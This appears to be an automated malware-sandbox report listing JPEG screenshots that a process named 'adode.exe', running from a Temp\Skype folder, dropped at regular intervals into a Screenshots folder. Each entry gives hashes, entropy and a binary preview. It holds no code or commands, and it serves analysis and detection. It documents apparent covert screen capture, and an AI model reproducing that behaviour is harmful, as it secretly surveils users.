SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240810_184646.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240811_014424.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240811_085301.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240811_153218.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240811_214353.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240812_042052.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240812_101704.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240812_160522.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240812_214812.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152561
Entropy (8bit):	7.924902457856507
Encrypted:	false
SSDEEP:	3072:VC9iDj5FYGyQgpgoN6kiTff2FxeYueea8FkcKxgq4W:09iDzKw+6kGff2FxE9xI
MD5:	7040C531FB923AAEC93C461D972554FE
SHA1:	8513DD40994CA497B4E8E04B058EC1985FC47F4B
SHA-256:	BFD6BDB678CB04D15F47A1E0B65692AFCE98AC84BB1D14E87988B53E4B97E029
SHA-512:	10350C00E9CF4A243F43E11162DB07F16A6AACADF7C7E45F8F5766397249E40CEB2165B7CC82C2CAA5504278B7B46C15EEE56320257489BAE171E83E543ED700
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240813_043001.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240813_110107.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240813_182625.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240814_013140.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240814_081330.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240814_135818.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240814_191744.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240817_093701.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
